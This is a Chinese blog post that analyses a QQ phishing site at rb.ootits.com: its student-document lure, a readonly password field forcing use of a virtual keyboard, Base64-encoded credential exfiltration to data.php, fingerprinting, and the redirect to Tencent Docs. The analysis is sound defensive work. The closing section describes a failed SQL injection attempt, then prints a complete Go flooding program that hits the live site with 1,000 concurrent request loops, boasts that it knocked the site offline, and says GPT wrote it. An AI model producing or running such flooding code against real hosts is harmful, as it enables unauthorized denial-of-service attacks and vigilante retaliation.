某QQ盗号网站的技术分析 不是炒米线 2025-08-17 2025-08-17 近期,我们观察到一个域名为 rb.ootits.com
的钓鱼网站,该网站通过一套精心设计的流程来窃取用户的QQ凭证。本文将从纯技术的角度,对其前端实现、数据交互及攻击链进行详细的剖析。
攻击流程总览 该钓鱼攻击并非单页面作战,而是构成了一个完整的、自动化的攻击链,大致可分为四个阶段:
**诱饵阶段 (Lure)**:通过特定主题的页面吸引用户交互。
**钓鱼阶段 (Phish)**:在高度仿真的页面上诱导用户输入凭证。
**窃取阶段 (Exfiltrate)**:在后台将凭证数据编码并发送至服务器。
**收尾阶段 (Redirect)**:将用户重定向至合法网站以掩盖攻击行为。
核心技术细节剖析 1. 场景化社会工程学:双层诱导设计 攻击的入口是一个伪装页面,而非直接的登录表单。
初始页面 (index.html
) :
主题伪装 : 页面 <title>
设置为“学生资料”,并使用 School.png
作为背景,构建了一个特定场景,旨在降低特定人群(如学生、家长)的警惕性。
交互诱导 : 整个页面是一个可点击区域,触发gout()
JavaScript函数。该函数弹出一个提示:“当前文档过大,需要登录QQ才能查看”,为后续的登录请求制造了一个看似合理的理由。
流程跳转 : 用户点击确认后,window.location.href
将页面导航至下一步的钓鱼表单 /step_in/
。
2. 前端规避技术:自定义虚拟键盘 这是本次钓鱼攻击中技术实现上最为关键的一环。
目的 : 旨在绕过现代浏览器、密码管理器及终端安全软件的防护机制。
实现 :
通过HTML和CSS构建了一套完整的屏幕虚拟键盘。
核心的密码输入框被设置为 readonly
属性: 1 <input id ="p" class ="inputstyle" maxlength ="16" type ="password" name ="pass" placeholder ="密码" readonly >
readonly
属性使得用户无法通过物理键盘或操作系统弹出的软键盘进行输入,强制用户必须使用页面提供的虚拟键盘。这可以有效防止浏览器插件的密码自动填充、安全警告以及基于键盘事件的监控。
3. 数据外泄:编码与隐蔽通信 用户凭证的发送过程是静默的,通过后台AJAX请求完成,用户不会察觉到页面刷新。
数据封装与编码 :
构造JS对象 : 首先,脚本获取账号和密码,构造成一个JavaScript对象。1 { user : "114514" , pass : "qwwedtb" }
JSON序列化 : 接着,该对象被转换成一个JSON格式的字符串。1 '{ "user" : "114514" , "pass" : "qwwedtb" } '
Base64编码 : 最后,整个JSON字符串被进行Base64编码,形成最终用于传输的载荷。
数据传输 :
编码后的字符串作为GET请求的参数,由一个名为ds()
的函数通过XMLHttpRequest
发送到后台的data.php
脚本。
请求示例如下,其中 sv
参数的值即为Base64编码后的载荷: 1 GET /app/data.php?sv=ZXlKaFkzUWlPaUp6ZGlJc0ltUmhkR0VpT25zaWRYTmxjaUk2SWpFeE5EVXhOQ0lzSW5CaGMzTWlPaUp4ZDNkbFpIUmlJbjE5 HTTP/2
这种方式将恶意数据隐藏在看似随机的编码字符串中,增加了流量检测的难度。
4. 受害者追踪:设备指纹采集 在发送凭证的同时,另一个脚本 cess/index.php
负责采集详细的受害者设备指纹。
5. 攻击收尾:动态重定向 数据窃取成功后,攻击流程并未中止,而是进入了精心设计的收尾阶段。
服务器端指令 : data.php
在成功接收凭证后,其响应体中包含下一步指令: 1 2 3 4 { "err" : 0 , "location" : "../step_code/" }
中间页跳转 : 浏览器根据 location
指令跳转到一个临时的中间页面 /step_code/
。
最终跳转 : 该中间页面会再次向 data.php?sv=js
发起请求,获取最终的跳转配置。服务器返回的JavaScript中定义了最终的跳转目标: 1 2 3 4 var conf = { "readyJump" : "[https://docs.qq.com/](https://docs.qq.com/)" };
完成欺骗 : 浏览器最终被重定向到合法的腾讯文档官网。这一步操作极具欺骗性,它销毁了钓鱼现场,并让受害者感觉自己成功完成了一次正常的登录操作,从而最大程度地避免了嫌疑。
4. 你他喵的:怎么收拾你捏 尝试sql注入无果, 最后写暴力请求程序秒了,现在网站已经挂了,dns解析也置空了233333
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 package mainimport ( "bytes" "encoding/base64" "encoding/json" "fmt" "math/rand" "net/http" "sync" "sync/atomic" "time" ) const ( url = "https://rb.ootits.com/app/data.php" userAgent = "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" cookie = "PHPSESSID=3a91640cc9491b1f01bb61496ca7938f" concurrency = 1000 ) var totalRequests uint64 var totalBytes uint64 func randomString (n int ) string { letters := []rune ("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" ) s := make ([]rune , n) for i := range s { s[i] = letters[rand.Intn(len (letters))] } return string (s) } func makePayload () string { data := map [string ]interface {}{ "act" : "sv" , "data" : map [string ]string { "user" : randomString(8 ), "pass" : randomString(10 ), }, } jsonBytes, _ := json.Marshal(data) encoded := base64.StdEncoding.EncodeToString([]byte (base64.StdEncoding.EncodeToString(jsonBytes))) return encoded } func sendPost (wg *sync.WaitGroup) { defer wg.Done() client := &http.Client{ Timeout: 10 * time.Second, } for { payload := makePayload() form := fmt.Sprintf("sv=%s" , payload) req, _ := http.NewRequest("POST" , url, bytes.NewBufferString(form)) req.Header.Set("User-Agent" , userAgent) req.Header.Set("Accept" , "*/*" ) req.Header.Set("X-Requested-With" , "XMLHttpRequest" ) req.Header.Set("Sec-Fetch-Site" , "same-origin" ) req.Header.Set("Sec-Fetch-Mode" , "cors" ) req.Header.Set("Sec-Fetch-Dest" , "empty" ) req.Header.Set("Referer" , "https://rb.ootits.com/step_in/" ) req.Header.Set("Accept-Encoding" , "gzip, deflate, br, zstd" ) req.Header.Set("Accept-Language" , "zh-CN,zh;q=0.9,en;q=0.8" ) req.Header.Set("Cookie" , cookie) req.Header.Set("Content-Type" , "application/x-www-form-urlencoded" ) resp, err := client.Do(req) if err == nil { n, _ := resp.Body.Read(make ([]byte , 1024 )) atomic.AddUint64(&totalRequests, 1 ) atomic.AddUint64(&totalBytes, uint64 (n)) resp.Body.Close() } else { fmt.Println("请求错误:" , err) } } } func main () { rand.Seed(time.Now().UnixNano()) var wg sync.WaitGroup for i := 0 ; i < concurrency; i++ { wg.Add(1 ) go sendPost(&wg) } ticker := time.NewTicker(1 * time.Second) go func () { var lastReq uint64 var lastBytes uint64 for range ticker.C { req := atomic.LoadUint64(&totalRequests) bytes := atomic.LoadUint64(&totalBytes) fmt.Printf("每秒请求数: %d, 每秒流量: %.2f KB\n" , req-lastReq, float64 (bytes-lastBytes)/1024 ) lastReq = req lastBytes = bytes } }() wg.Wait() }
GPT写的,好使!